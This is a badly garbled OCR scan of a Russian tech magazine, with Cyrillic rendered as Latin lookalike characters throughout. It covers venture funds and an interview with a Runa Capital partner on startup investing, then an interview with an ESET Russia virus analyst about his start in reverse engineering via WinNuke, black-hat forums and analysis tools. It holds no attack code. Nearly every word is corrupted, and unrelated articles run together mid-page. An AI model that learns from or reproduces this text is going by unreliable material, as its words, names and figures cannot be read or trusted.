4ypHO KOMNAHNK, a TakXKe NepBbIM 0dULMaabHbLIM
naptHepoM Facebook B Poccun. ®oHp 3anHTepeco-
BaH B NOSIBJIEHNI HOBbIX HEUTPOBbIX PUIIOXKEHUN
LJ151 COLMabHbIX CETEN 1 BMECTe C POCCUINCKUM
npeacTaBuTenbcTBoM Facebook rotoB nomorath
pa3paboTynkaM coLManbHbIX NPUIOKEHNIA.

Jr.r._.a.gr_:?npr

ABRT Venture Fund

CaifT: abrtfund.com/rus
Tun poHpa: BeuHypHbIN
Denbtaunsectuunii:or $1 105 mnH

®oHp co3paHAHLpeeM

! BapoHoBbIM 1 PaTMupom
| TuMalleBbIM, 0OCHOBaA-

: Tenamu Aelita Software,
KoTopasi U3BECTHATEM,
yTo bbIna npopaHa B MapTe 2004 . kanudopHunckon
kopnopauuv Quest Software 3a $115Mn+. Mpogaxa
Aelita Software ctana ofiHoM M3 caMbIX KPYMHbIX
CAeNOK Ha poccuiickoM codpTBepHOM pbiHke. ABRT
He ABNSeTCA UHCTUTYLMOHAbHBIM 1 He paboTaeT
cnanwukamn. DoHAMHBECTUPYET CpeACcTBa CBOMX
OCHOBaTeJsel, aTakxxe CpefiCTBa KOMaHbl. Kpome
Toro, ABRP paboTaeT c KpynHbIMU, U3BECTHBIMM
3apybexHbIMU pOHAaMM CO 3HAYNTEbHBIM OMbITOM U
noptdenemKoMnaHuit. ITo esponeiickme (Mangrove
Capital Partners) namepukarckue (Insight Venture
Partnersu OpenView Venture Partners) naptHepsbi-
COVMHBECTOPbI, BEHYYPHble POHAbI, KaXKAbIN U3
KoTOpbIX UMeeTnogynpasaeHueM 6onee $100 MaH.
ABRT nomoraet npeanpuH1MMaTensiM co3faBaTth CO-
$TBEpPHbIE KOMNAHNI MUPOBOTO YPOBHS.
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CLIEHA

B3I U3HYTPU

B 3akntoueHve 3ToM CTaTbM NPefoCTaBMM CJIOBO 3KCMEPTaM, NOASM,
KOTOpble paboTaloT co CTapTanaMu eXKelHEBHO M HE MOHACbILIKe
3HaKOMbl C peanMsiMu poCCUIACKON CTapTan-cLeHbl. Ha Mov Bonpochi
nobe3Ho cornacuncsa oteeTuTs AHApen BAN3HIOK, 0fVH M3 NapTHepoB
BeHuypHoro doHaa Runa Capital (runacap.com).

PACCKAXUTE, MOXANYACTA, KAKUE

TPEBOBAHWA BALL ®OHA MPEABAB-
NIAETKCTAPTAMAM MYET 0 Bbl OXKUOAETE
OTKOMAH[ BTIEPBYO ONEPE[B?

lMpexkpe BCero Hac MHTepecylT TeXHONO0rn-

YeCKWI U MHTENNEeKTYaNbHbl KOMMOHEHTbI
NpoeKTa, yHUKaNbHOCTb MPOAYKTa, CTpeMieHune
KOMaHpbl BbIBECTW €10 Ha MeXAYHaPOAHbI PbIHOK,
rno6anbHble aMbuLMK, MOJKPENIEHHbIE COOTBET-
CTBYIOLLMM MOHWMaHWeM CTpaTernu pa3BuTns
npoekTa. MblmomMoraeM HalwnM NOpTdeNbHbIM
KOMNaHMAM C BbicTpanBaHueM busHec-cTpaTerum,
napTHepaMu U KiMeHTaMu — f,opaboTKoit
TEXHOOT UM, MOUCKOM MOAXOASLLNX COTPYAHNKOB.
Ho nepBoHayanbHO Yy KOMaHAbI LOJKEH bbITb
MPOAYKT, BOKPYT KOTOPOro BbiCTpanBaeTcs
KoMnaHus.

092

KAKOBbI B LLEJIOM TPEH bl

MOCNEAHMXJIET? BCTOPOHY KAKNX
TEXHOJIOTMIA, YCIIYT M OBJTACTEN CEMYAC
CMOTPAT CTAPTAMEPBI? TAKXXE UHTEPECHO,
HAYTOB3TOMBOIMPOCE OPMEHTUPYETCA
®OHJ, YHTOMPEAMNOYTUTENBHEE 1A BAC?

EcnvroBopnTb 0 KOHCHIOMEPCKOM pblHKE —3T0

social, local, mobile, ecnv o pbiHke TexHoOM0-
TMIA—3TO OAAHO3HAYHO 061a4Hble TEXHONOT WK,
pacnpegeneHHble BblYMCIEHNS.

[Tpn3TOM TPEHAOM MOXHO Ha3BaTb U NOSBAEHNE
HOBbIX B3HEeC-MoAenel, 1 cnocoboB NPOABUKEHNS
TPaAMLMOHHbIX CepBMCOB. TeM He MeHee 5 bbl He peko-
MEeHJ0Bas CTapTanepam CJIeno 0pueHTMPOBaTLCS Ha
TPeHAbl M TeMbosiee NblTaTbCA CBOAUTL BCE 3TU TPEH-
IblBMecTe. Pa3gyTbii TPEHL, 3T0 NepeHachILLeHHbI
NpeAoXeHNEM PbIHOK UV LaXe Pa3ayTblii Ny3bipb,

KOTOPbI/ PaHO MW MO3LHO SIOMHET. Y KOMaHAb! fOSKHO
ObITb MOHMMaHMWe YHUKaNIbHOCTV MPOAYKTa M TOrO, Kak
VX MAES NTOKUTCS Ha COBPEMEHHbIE TPeHAbI. He HyxHO
NPUXOANTL CNpoekToM HoBoro Facebook ununGoogle,
BTOBPEMSI KaK CyLLLECTBYET OrPOMHOE KOSINYECTBO
HOBBbIX, HEPA3BUTbIX HULL M HEPELLEHHbIX 3afau.

BHEKOTOPOM POE MPOAOJIXXEHNE

MPEABIAYLLEOBOMPOCA: HAYTO bbl
BbIMOCOBETOBAJIM OPUEHTPOBATLCA
CTAPTAMEPAM? BbITb MOXKET, B KAKO-TO
OBJTACTUHABJTIOAAETCA HEXBATKA
CBEXXUXWOEN M MOJIObIX MPOEKTOB,
BbITb MOXXET, B KAKUX-TO HULLAXHEMHOI O
«CBOBOJHEE», HEM B IPYT X?

Mbl CMOTPUM Ha TpM BeLL M —TeXHO0rUio,

KOMaHAy 1 nepcneKTUBbI pbiHKa. EcnnnpoekT
6onee paHHel cTagum, Mbl npuaaem bonblioe
3HaYeHWNEe TEXHOJIOMUU.

OpuneHTupyiTech HanoTpebHoCTYH, NpobieMbl
KJNEeHTOB, HaX04MTe HOBble HULLIW, leNlaiTe MPoAyKT
COYeBUAHbIM KOHKYPEHTHbIM PeNMyLLeCTBOM B
yKe CyLLLeCTBYIOLMNX HULIAX. He Hy)XHO cTpeMUTbCS
c038atb 285- «[pynoH». g Hac BaxHa BaLa
COCPefioTOYEHHOCTL Ha KayecTBe NPoAyKTa. YeTko
NoHWMaiiTe, Kakyto HacyLLHyto npobnemy nosib3oBa-
TeNen oH peLaer.

Hanpumep, Hawa noptdenbHas KOMNaHNs
Jelastic nownanoaToMy nyTu, cO3aaB TEXHONIOMUIO
A5 pa3paboTynKoB Java-npunoxeHuis, kotopas
NoAfepX1BaeT pa3BepTbiBaHWe cTaHAapTHbIX Java-
NPUN0XKeHW be3 orpaHnyeHUs Mo UCMOosIb30BaHUIO
6nbnnotek v npusssku k foporoctosiiemy M0 KoH-
KpeTHOro nocTasLyka o6nayHbixycayr(Saas).

Ceityac Ha poccuirickoM I T-pbiHKe, BO-NepBbIX,
60nbLLON Nepekoc B CTOPOHY NoTpebnuTenbckoro
pbiHKa. Bo-BTopbix, cnabo pa3sutb2b-cekTop.

B TpeTbux, y KoMaHA He xBaTaeT rnobasbHbIX
aMbunLunii, 3a4acTyio MPOeKT ABSETCSA KOMMpo-
BaHWeM CepBMCOB, KOTOPbIE «BbICTPEININ» Ha
3anajHoM pbiHKe. B KoHe4YHOM UTore BCE CBOANTCS
KHeJ0CTaTKY CJI0XKHbIX TEXHOOTUIA, BE b, MO CYTH,
CNOXHas TEXHOMOMUA U MacluTab ambuymnii npo-
eKTa—[1BE CTOPOHbI 04HON Meanu.

KAKOBA CPEHAA OEJILTATIO

NHBECTULIMAM B MPOEKT AJ1APOCCUN
W CHI? HAMPUMEP, $50-100K, BOJIbLLIE U
MEHbLUE?YHYEM 3TO OBYCJI0BJIEHO?

[InsRuna Capital sta gensta ot $500 ThiC.

[0 HECKOJTbKUX MUJISIMOHOB, M 3TO
06ycnoBNEHO TEM, YTO Mbl OPUEHTUPYEMCS NPEX e
BCEroHa npoekTbl paHHel cTagun. Hoato He
3HAYMWT, YTO Mbl KATErOPUYECKYM HE paccMaTpuBa-
€M NPOEKTbI, BbIXOASALLME 33 3TV paMKu. B HUX Mbl
MOXEM MHBECTUPOBATbL BMECTE C ApYr1Mu
MHBECTOpaMW—y Hac bonblias ceTb NapTHEPOB
Kak B Poccun, Tak n 3a pybexoMm.

MOXAJTYNCTA, PACCKAXXWUTEO

HAMBOJIEEYCMELUHBIXMMTPUMEPAX
WMHBECTULMM BALLEFO ®OHA. TAKXKE
BblJTO BbIMHTEPECHO Y3HATbL BALLIE
MHEHWE 10 CAMbIXYCIMELLIHBIXCTAPTATAX
HALLEEA FEO30HbI B LIEJIOM.
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CTapTaﬂbI,,D,eHbI'VI nycnex

Ha paHHbI MOMEHT NOpTdesbHbIe KOMMAHWK

Runa Capital Ha UHBECTULIMOHHON CTaauW.
06bsBAEHBI MIHBECTULMN B C/1€ AYIOLLME MPOEKTbI:
Telefir (telefir.ru] —Mo6unbHas ronocosas
coLManbHO-KOMMYHMKaLMOHHas nnaTdopma. 3To
CBOEro poja Halll, poccUinckuii ronocosoii Twitter. Y
3TOr0 MPUIIOXKEHUS Y)Ke CeNYac HECKOJbKO LeCATKOB
ThICSY MosIb30BaTesel. Yalle BCero o1 Nosib3yioT-
cAuMBNpobKax, MHorfa npocTo 45 TOro, YTobbl
noobuatbcsa nnosHakoMuTbes. Cepuc nocteneHHo
Halllyna cBo aya1Topuio, M 0Ha pacTeT.
[p1Mep nepcneKTUBHOr0 TEXHOOrMYECKOro npo-
nykta— Jelastic (hivext.ru), sTonepsas oteyecTseH-
Hasi KoMMepyeckas PaaS-cuctema, npefHasHayeH-
Has fns pa3paboTky Java-npunoxeHni B UHTEpHETE
6e3HeobxoMMOCTN M3MEHATb KO, B CTPYKType
canToB. OceHblo oH akTUBHO 3anyckaetcsiB CLUA N
EBpone, Ha Poccuio npuxoamnTcs Tonbko 3 % ux pbiHKa.
Metabar (metabar.ru) —nepssiii 8 Poccuu
KOHCTPYKTOp TynbapoB AN BNafeNbleB canTos
1 0bbIYHbIX MONb30BaTeNelt. Ix cepBuCcoM yxe
ceiiyac MoNb3yTcA nopTaibl KpyMHENLINX poc-
cnincknx CMU — «BepomocTein», «Poccuiickon
rasetbl», KMw gp.
MopTan Travelmenu (travelmenu.ru) sToHawa
COBMecCTHas nHBecTuums c ponpom Almaz Capital.
OHBx0AUTB TOM3 0HNAaNHOBbLIX TYPUCTUYECKMX
areHTcTB B Poccun nHa YkpanHe, c HuM paboTaioT
boneeyem290Tbic. oTeneir, 100 TyponepaTopoB u
500aBuakoMnaHmnii. Bce npoekTbl BakTMBHOW hase
CBOEro pa3BuTMs, 3K3NUTbI ByayTno3xe.

EcnuxerosoputbobycneluHbix cTapTanax no-

C/IeiHEero BpeMEeHW, MoJTyYMBLUNX MHBECTULIMOHHYIO
NOAAEPXKKY, ObICTPO Pa3BMBAIOLLMXCS U YXKe 3aCTy-
XKUBLLUMX MEXAYHapogHOE NPU3HaHUe, 3TO Npexpe
Bcerounrpbl Alawar nupeocepsucel Qik. MocnegHuit
6o kynneHy doHgaAlmaz Capital komnaHuen Skype
(32 $150 MaH. — Mpum. Mifrill).

KAKBbI CHUTAETE, YHEM OBYCJ10B-

JIEHOHEKOTOPOE HELOBEPUE N
LAXKE OMACKA, C KOTOPOW HALLIN
CTAPTAMEPBI O CUXTIOP OTHOCATCA K
NMHBECTULUNAM NPAKTUYECKWN JIOBOI O
POAA?YBbl, MHOTO4YNCJIEHHLIE OMPOCHI
MOKA3bIBAKOT, HTO IO AN CKOPEE
CKJIOHHbI PA3SBMBATbL NMPOEKT, BKJTAlbl-
BAABHEIO «CBOM KPOBHbIE», HEXXEJIN
OBPALLAACH KMHBECTOPAM.

Startup Weekend
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Startup Pointe PocToBe

Mbi BUgUM ckopee obpaTHyto cuTyauuio. Moka

B Poccum o yaLe xoTaT noNyyuTh Yyxme
LeHbIY, MPaKTUYECKU He BIIOXKWB B MPOEKT HY
BPEMEHMU, HY KakuX-nnbo apyrux pecypcos. [losTomy
€CJIM K HaM MPUXOAAT C TPOEKTOM, KOTOPbIN JTIOAM
pasBuBay Ha CBOU ieHbr, 3To, 6e3yC/I0BHO,
Bosblov NAtoc B rnasax uHeectopa. Ho, k coxane-
HUIO, MoKaTaK GbiBaeTHevacTo.

ECTbJIMVHTEPEC KPOCCUNCKOMY IT

HA3AMALE?TOTOBbIJIN B HAC
NHBECTMPOBATb, HEBOATCA JIN? BbITh
MOXET, SANALNMPEAMNOYUTAET «MEPEKY-
MNATb» Y HAC JTYSLUME MO3I, HO HE
BKNTAObIBATbCA B UXPA3BUTUE 3[ECH?

Be3ycnoBHo, HTEpec ecTb, APKUM TOMY

NOATBEPX/eHNeM ABAAETCATO, 4To bosblias
yacTbuHBecTopoB doHAa Runa Capital —mexayHa-
poAHble. KpoMe Toro, eCTb psifi npMMepoB yCneLlHoro
Pa3BUTUSA KOMNAHNIA POCCUIACKOrO MPOUCXOXAEHNS
Ha MeXAyHapoAHbIX pbiHKax: Parallels, Acronis,
Abby, Kaspersky. OH1 cO3Aat0T OTANYHbIE MPOAYKTHI,
Y MHOTVe U3 HUX NPUBNEKIN 3anafHble UHBECTULN.
Takxe ecTbuctopuu Mail.rumYandex cycnewHsimM
IPO Ha 3anasHbIX brpxax.

NTOCNEOHEE. HABALLU B34, CTONT

JINCTAPTAMEPAM MPUHNMATb
YYACTUE BMHOIOYNCJIEHHBIX N PA3HO-
OBPA3HbBIXMEPOMPUATUAXBPOAESTARTUP
WEEKEND, STARTUP POINT, SUMIT, HACK DAY U
T. 1.2 MOXET JINBCE 3TO BbITL MOJIE3HBIM
NN ABNAETCANYCTON TPATOV BPEMEHW?

Be3ycnosHo, Take MeponpusTvs fatoT

cTapTanepaM HeKOTOPbI OMbIT, pa3BnBaloT
npeAnpUHMMaTENbCKYI0 KybTypy U MHOTAA
CTaHOBATCS MIOLLA[KON 419 3HAKOMCTBA C
MHBECTOPOM 1 ByayLIMMU B3Hec-napTHepamu. Ho
MOKa HW B OAWH U3 NPOEKTOB, NPeACTaBIEHHbIX Ha
3TUX MJI0LaAKaX, Mbl HE IPOUHBECTUPOBAJIN.

CrapTanepbl JO/KHbI UICMOJIb30BaTh MAKCUMYM

BO3MOXXHOCTEM, 419 TOr0 Y100kl NPOABUTaTh CBOA
MPOEKT, HO, KaK MpaBuJI0, y TeX, KTo 3aHNMaeTcs
CBOWM NPOJlyKTOM BCEPbe3, 0CTAETCH 04eHb Maso
BPEMeHM Ha Takune, NyCTb laXKe M 04eHb MosIe3Hble,
MeponpuaTus. EcTb niogu, HasoseM nx «npodec-
CMOHaJsIbHbIE CTapTanepbl», KOTOPbIE XO4AT MOYTH
Ha KaXAylo TaKyio TYCOBKY, Nepuofnyecku nepe-
CTaBAAKTCNaiAbl BNpe3eHTal Ny, pa3faloT CoTHU
BU3UTOK... KHUMY HBECTOpa BO3HMKAET Pe30HHbI
BOMPOC:a 0CTAeTCS I BpeMs Ha caM NpoeKT? 3T

EK
STARTUR WEER

3TMNO3UTUBHbIE NIIOAN C GUKYCOMXKAYTTeb6s Ha Startup Week B BeHe
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VIHTepBbto C rNaBHbIM aHTUBMPYCHbIM aHanuTukoM Eset/Russia

- VIRUS

FREE

ANEKCAHAP
MATPOCOB

NHTEPBbBHO C ITTABHBIM
AHTVBNPYCHbIM
AHAJINTUKOM ESET/RUSSIA

B TycoBke nogen, 3aHnMatoLLmMxcs Hbop-
MaLWOHHON 6e30NacHOCTbI0, paboTHNKM
aHTMBUPYCHbIX KOMMaHWI BCErAa Bbl3bl-
BatoT bonbLuon HTepec. BceM nHTepec-
HOY3HaTb 0 BHYTPEHHEN aHTUBUPYCHON
KYXHe, 0 TOM, 0TKyfa oHv bepyT 0bpasubl
MaJiBapy U Kak UMEHHO UX aHaNIU3NPYIOT.
Hy 1 KoHe4Ho, 3BeYHbIN Bonpoc — «Ecan
1 KpyTOM BUPMENKeEp, Bbl MEHSI BO3bMETE
Ha paboTy?» Bce 3T Bonpockl Mbl 3aganu
PYKOBOAMTENIO pOCCUMICKOro Bupnaba
ESET.
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CYEITOU3HAYAJIbHOY TEBA NOABUIICA

WHTEPEC KAHTVUBWPYCHOW AEATE/IBHO-
CTU?HYTOECTbIOHATHO, HTOHAYMHAJIOCH
BCE C OBPATHOM MHXXEHEPWW, HO KAK TbI KHEW
MPULLEN?YTOTEBANOBYANIO?

HauHy, noxanyw, usganeka.llonepsomy

06pa30BaHmIo A HXEHEP-CUCTEMOTEXHUK, 1
roe-toc 1998 rona s nnoTHO NOACeN Ha U3yyeHune
pacnpocTpaHeHHbIX MUKPOKOHTPOJISIEPOB TOrO BPEMEHM.
CaMbIM MonynsipHbIM MOUM UCMbITYeMbIM 6b11 KP580
(coseTckuitananor8-6utHoro npoyeccopa 8080) sBuay
cBOeN lelleBU3HbI M JocTynHocTH. EcTecTBeHHO, 3TO
yBNieyeHKe nogpasymeBasno 3HaHne accembnepam
yMeHUe ero rotoBMTb. BTOT)Ke neprof nosBuaCs MHTepec
KTeMe HdopMaLMoHHON be3onacHoCTH, HoToraa He
OblN10 TaKoro 0buNMa NMTepaTypbl, Kak cenyac, u
npuxoaunnock cobupaTb MHPopMaLmio BykBasbHO Mo
Kpynuuam. HaBepHoe, caMoii LieHHOM HaX0AKOM A MeHs
HaToTMoMeHTcTan CD-ROM c MHTpUrylowmum Ha3BaHneM
«Bce pnsxakepaNe 13», koTopbli Obln HalgeH Ha
pa3Banax LapuLibiHCKOro pagunopbitka. 3 3anexeit
MHPOPMALMM Ha HEM §1y3Hal MHOTO MHTEPeCHOro, a
rnaBHoe, 06HapyXWa NporpaMMy C UHTPUTYIOLL M
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CLLEHA/VIHTEPBbGIO

Ha3saHneM WinNuke, koTopas, no3aBepeHusm
aBTOpPOB, l0J1XKHA bbinaocyuwecTBnaTb DoSBcex
noNsipHbIX BEpCU BUHAbI. M oHa Taku paboTana, Ho,
KPOMe 0MUCaHNs, KaK el Nosib30BaTbCs, y MEHS He
Bbinobonblie HMYyero. M Torna Henb3a b0 NOUTH K
MPOCTO CNPOCUTLY FyriavHTepecyLLyo Tebs
MHOPMaLLWIO, fa U MHTEPHET-A0CTYNay MeHs HAa TOT
MOMEHTNOCTOSHHOTO He 6b110. [03TOMY Ha TOM Xe
LUCKe Dbl HaAeH MHCTPYMeHTapuii N1 peBEpPCHH-
ra, 1, BOOPYXXMBLUWUCb UM, S Ha HECKOJIbKO HefleNb
norpy3uics B HOBY10, Hen3BeaHHyo paHee
npenMeTHyto obnacTb. Ho3a st aBe Heflenn s He
L,0BMNCAYCNELIHOro pe3ynbTaTa, Tak Kak CoBeplUeH-
HO He Bbl13HaKOM C MPOrpaMMupoBaHMeM Nog,
onepaunoHHble cuctembl Windows utembonee c
pa3paboTkoi ceTeBbIX NPUIOXEHWIA. [TpULLNOCH MoK
noTyrnBobpaTHOM aHanM3e OTN0XKNTb M HaYaTb
yepnaTtbHe0CTalLLMe 3HAHNS. 3TO 3aHAN0 Kakoe-To
BPEMS, HO BUTOre § ,OKOManCs 0 UCTUHBI, U
pe3ynbratom paboTbl cTan paboTatowmii PoC Ha perl.
CaM npoLecc MeHs HaCTOIbKO 3aXBaTuWI1, 4TO A [axe
3a0bl1 NPO KOMMNbIOTEPHBIE UTPbI U [HAMW HanposeT
n3yyan HeusBefdaHHoe. [loToMYyXe, Ha NepBbIX
Kypcax MUOW, y MeHs NOSIBUNCA UHTEPEC K U3YYEHMIO
BPELOHOCHbIX TPOrpaMM, Tak Kak i Bbibpanato
HanpaBsJ/ieHWe AN CBOVX HAaYYHbIX U3bICKaHWI, a
BbIGpaHo 0HO BbIN0 MO KPUTEPHIO, 4TOOLI pEBEPCUHTA
beinobonblue, yemBceroocTansHoro. Hyveutore
noayyaeTcs, 4To Nobyana MeHs Ko BCeMy 3TOMY
WinNuke, 3a4ToeroaBTopaM o0TAeNbHOE cnacubo.

LOJDKEH NI BUPYCHBIM AHATTUTUK
CEPbE3HO NMPOrPAMMUPOBATL NI B
3TOMHETHEOBXOAMMOCTIN?

TyTcHayYanaHapo oTAeNUTbL NPOrpaMMHy0

MHXXEHEepWIo Kak NpoLLecc U 3HaHMe A3bIKoB
nporpaMMupoBaHu1s U Teopun KomnuasTopos. leno
BTOM, 4TO MOHUMaHWe TOro, Kak paboTaeTkoMnuns-
TOP TOrO ST MHOTO f3bIKa NPOrPaMMMPOBAHNS UK
nnatdopMsbl, bbiBaeTnpocTo HeobxoanMo. KoHeyHo,
3TOHe 03HayaeT, YTo JIIoAM, aHann3npyL e
TpoaHueB ana JME, aBnaioTca akcneptamu no
TOHKOCTSIM A3blka Java. Takke B paboTe Halmx
BUPYCHbIX @aHA/IMTUKOB BO3HUKAET MHOT0 BeLLeid,
CBSi3aHHbIX CaBTOMaTMU3aLven npoeccaobpaTHoro
aHann3a, rae, 6@3ycnoBHO, HYXXHO UMeTb BbICOKMI
ypoBeHb KBaandukaymv B obnact nporpaMMmupo-
BaHus. Ceiivac caMblii NONYNAPHbIA S3bIK NPOrpaM-
MUPOBaHWs Halleit nabopatopun ato Python, Tak kak
OHBCTPOEH He TOJIbKO B MybIMYHbIE UHCTPYMEHTbI, HO
1 BHALWW BHYTPEHHWMe. MI3y4nTb ero He ClI0XHO, 1
MOpPOV OH 3KOHOMUT MHOT0 BpPEMeHU iNS peLleHns
3ajja4yaBTOMaTV3aLMN N0 CPaBHEHWIO, HanpuMep,
Temxe C++. X015 C, C++ cTOATY HAaC Ha BTOPOM MecTe
nononynsipHOCTY, Tak Kak afleko He BCe 3ajaun
MOXHO pelwmnTb cpeacTeamm Python. Tak yto
HEO0BX0AMMOCTb B ITUX 3HAHUSX, BE3YCNI0BHO, CTb, U
OHa KpWUTWYHa B MpoLecce HalMa COTPYAHWNKOB K HaM.

MPUXOOMOCH TN TEBE OBLLLATBCA MO

PABOTE C BJIEKXATAM? KAKTbI
OLIEHVBAELLIb YPOBEHb JIIOIEA, KOTOPBIE
CO3JAKT MAJIBAPL?

ObwaTtbes MPUXOANNOCH C Pa3HbIMK
NKOAbMU, BTOM YUCNE N CTEMNU, KTO
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HaxoAWTCSA MO Ty CTOPOHY bappukag, Ho obLieHne
ObIN0 TONBKO BUPTYasbHbIM, a Lie I HOCUAN
pa3BejbiBaTe/bHbI xapakTep. YTo kacaeTcs
YPOBHS 3HAHWIA, TO, KaK M Be3/e, OH CUbHO
Pa3sHMUTCS M 3aBUCUT HENMOCPEACTBEHHO OT
KOHKpeTHoro yenoseka. Hocyas notemyrposam,
KOTOpble MOABAOTCSA MOPON U3-MOJ UX KNaBMaTyp,
Takux kak, Hanpumep TLD3/4, Rovnix, coBeplieHHo
OAHO3HaYHO He CTOMT HeJ0OLLeHMBATb 3ITUX IO EN.
BricokokBanuduunpoBaHHble CNeLanncTbl ecTb
M CcpeanyyacTHUKOB bnekxaT-coobllecTBa, 4To
[0CTaBAsieT HAM HEMaOo XJ10MoT M NobyXaaeT K
fanbHellleMy CaMOCOBEpLUEHCTBOBAHMIO.

CNEANLBNNTBI3ABUPYCAMU HA

YEPHOM PbIHKE? NMPOJAETCAJIN
YTO-TO AEMCTBUTESIbHO MHTEPECHOE C
TOYKWM 3PEHNA AHTVBUPYCHOIO
AHAJTINTUKAUIINBCE BIMPUBATE?

MHorpayaaeTcs nonyunTh [OCTYM K MHTEpec-

HoVi MHGOPMaLMM Ha 3aKpbITbIX GopyMax, Ho
TaM, [ eCTh 4TO-TO 1eiCTBUTEIbHO UHTEpPECHOE,
[OCTYNTONbKO AN1S1y3KOro Kpyranuu,. Y HacecTb
HeboIbLIOM OTAEN, B3af,a4W KOTOPOT0 BXOAUT
MOHUTOPUHI aKTUBHOCTU KNBEPKPUMUHANBHBIX TPy
nux pestenbHocTU. Bux3apaun BxoanTnonck
Hanbosee aKTUBHbIX CMIONT-NAKoB, HablofeHe 3a
CaMbIMU1 KPYMHbIMY NapTHepami, paboTatoLLMMm no
cxemaM PPl.Ho3ayacTyto 3akpbiTble cooblyecTBa
CTapatoTcs bbITb 04EHb OCTOPOXKHBIMU U KpaiiHe
HACTOPOXKEHHO OTHOCSTCS K HOBbIM y4aCTHUKaM.

MPABWIBHO JIN ATIOHVMALO, 4TO

CO3[LAHWE BUPYCHOW JIABOPATOPUM
ESETBPOCCMN—3TOMHNLNATUBALETA
GROUP, AHETJIOBAJIbHOIO ESET? BOOBLLIE
HACKOJIbKOY BAC TECHOE B3AVMO[IEN-
CTBUECTJIOBAJIbHBIM ESET'OM?

3To 04eHb pacnpocTpaHeHHoe 3abnyxaeHne,

KoTOpOe, Mo BCe BUANMOCTU, Bblno chopMu-
POBaHO HaLLMMW KOHKYPEHTaMM 151 CHUXKEHUS
cTaTycau3HaYMMocTu Hawel nabopatopuu. Ha
CaMoM Jiefle U3HayasibHO MHMNLIMATUBa UCX04MAa OT
pOCCUIACKOro NpefcTaBnUTEIbCTBA, FAE XOTENN
YNYYLWNTb Ka4eCTBO 0bHaPYXXEHNS TOKaNbHbBIXYrpo3.
Ho B BpaTucnase npuHaAu pelleHne o NpsiMoM
nofYNHEHUN HeNoCcpeACTBEHHO UM, M HaLLa
nabopaTtopus sBASeTCS O4HUM U3 NoApa3feNeHnit
0CHOBHOro BMpaba. Y Hacyxe cyl,ecTByeT MHOr0
YCMELLHbIX TPUMEPOB OTKPbITUS yAaNeHHbIX
nabopaTopwuid, ceiyac uxyxe bonblue natu: B Mpare,
KpakoBse, MoHpeane, CaH-[juero, byaHoc-Alipece n
KowwmLie.Y Hac 04eHb iPYKHbIN KONEKTUB, N jaxe
yfaneHHo noayyaeTcs cogepxaTesbHoe obuieHne Bo
BHYTPEHHUX pacchisikax v KOHPepeHLnsX.

KAKWME BAOA4YN CTOATNEPEL,

POCCUNCKUM BUPJIABOM? KAKASA
CTPYKTYPAY TABOPATOPUI, CKOJIbKO
JNIIOLLEN PABOTAET? KAK Thl BUAMLLUb
POCCUMCKNM BUPJIAB ESET YEPE3
NECATbNET?

Moxanyi, Ha3ToTBONPOC 5 0TBEYY YKJIOHYMBO,
TaK KaK 0TBETbI Ha HEro MoMnaAatoT yKe MoA

NDA. Jliopeii B Poccumny Hac He Tak MHOTO, Kak y HaLLMX
KOHKYPEHTOB, HO UX KBaNMpUKaL s M03BOSSETHAM
peLaTb 04eHb CI0XKHbIe 3aa4K. 370, COBCTBEHHO, U
3a/,a710 BEKTOP Pa3BUTMS M pacLLMpeHUs Hallero
BUpnaba: Mbl He bepeMk cebe abbl Koro, anilem
HacTosLLMX yBAeYeHHbIX TpodeccuoHanos. Auepes
LeciTbNeT, i HAAE0Ch, HAM yacTCs, HakoHel,
cHOPMIMPOBATL MOSHOCTbIO FPYMMY aHaNN3a CAOXKHbIX
Yrpo3, Tak Kak ceiiyac 04eHb He MPOCTO CKBaMUL-
poBaHHbIMW KafpaMu B 3To 0bnacTu.

XOTS Bbl B OBLLIMX C/IOBAX: KAKBESET
COBVPAIOT OBPA3LIbI MATIBAPU?
KAKWE MPOMOPLMN MEXX Y UCTOYHUKAMM

OBPA3L0B?

Pa3sHbIX NCTOYHNKOBY HAC AeICTBUTENBHO

MHOTO, U 5t laXKe, HaBepHoe, 060 BCeX U He
3Hato. HayuHas ot caMux nonb3oBaTenen, KoTopble
NPUCHINAKOT HAaM CIMMJIbI, M 3aKaHYMBasA aKTUBHbLIMM
cucteMamu cbopa c pasHbiX BpeLOHOCHbIX
pecypcoB. AHTUBMpPYCHblE KOMMaHWUU Mexy coboi
Takxe 06MeHnBatoTCcs 06pasLaMnyrpos, Tak Kak
3TO He ABNSIETCSA KAKOW-TO COCTaBNsAOLEN
KOMMepyeckoi TalHbl. Celiyac, Bo BpeMeHa, Koraa B
TEYEHWE YaCca OLJUH 1 TOT e TPOSTH MOXKET BbIThb
nepenakoBaH HECKOJIbKO Pa3, 04HUM MPOCTbIM
CUTHATYPHbIM 06HapyXeHneM He 060N THCh.

KAKNENHCTPYMEHTbI TbIMCMOJTb3Y-

ELLIbB CBOEVPABOTE?ECTHJINY BACB
KOMMAHUWN KAKON-TOYTBEPX AEHHbIN
HABOP MPOTPAMMNYTUITNT?

A pymato, 30eCb AMEPUKY HU A1 KOTO He

OTKPOI0: aHTUBNPYCHbIE KOMMaHUN UCMOAbL3YI0T
BOBCIO NPoAyKThbl 0T Hex-Rays. Hyaecnv cepbesHo, To
CMKCOK, KOHEYHO, eCTb, HO OH CKOpee CAeNaH Ans
03HaKOMUTESIbHbIX LieSIel, v KaXK bl MOXeT
ICMONb30BaTb TOT MHCTPYMEHTApWIA, KOTOPbIV eMy
6oneeynober ansanoctaBneHHon 3agaun. Kpome IDA
ProccamMoronepBorocsoero3HakoMcTBac
MHCTpPYMeHTaMu 0bpaTHOro aHan3a npofosxKat
1CNoNb30BaTh pefjakTop Hiew, KOTopbIi A8 MeHs
y>Ke CTajnpocTo He3aMeHUM N3-3a CKONMBLLErocs
KoNMyecTBa cOBCTBEHHbIX MNArMHoB. I3 0Tnagunkos
npeanoyutato Immunity Debugger3aeroTecHyto
nHTerpauwio c PythonnynobHoe API. YTokacaeTcs
1ccneoBaHNa afpa, To BbIbop OCTAaTOYHO
ackeTnyeH, v o nanHaWinDbg (ans Hero, kcTaTy,
ToXe ecTb cBos Python-HagcTpoiika pykd). Ho nopoi
6biBaeTynobHO McNonb30BaTh cTapbIvi obpbi Soflce,
KOTOpbI B CBOE BPEMS CTasl MOVUM NPOBOAHWUKOM B MUP
anpaNT. Ins cpaBHeHWs KOAa ABYX MCTONTHSEMbIX
dannoB K NaTy-aHanM3a cynTalo NyYLNM UHCTPYMeH-
ToM Zynamics BinDiff. Hya ecnu HyxHo HaiiT 06Lymne
KOA0Bble NaTTepHbl Ha 60NblIOM KoNnYecTBe Gaios,
TOYHac MMeloTCs BapceHase crneyuanbHble
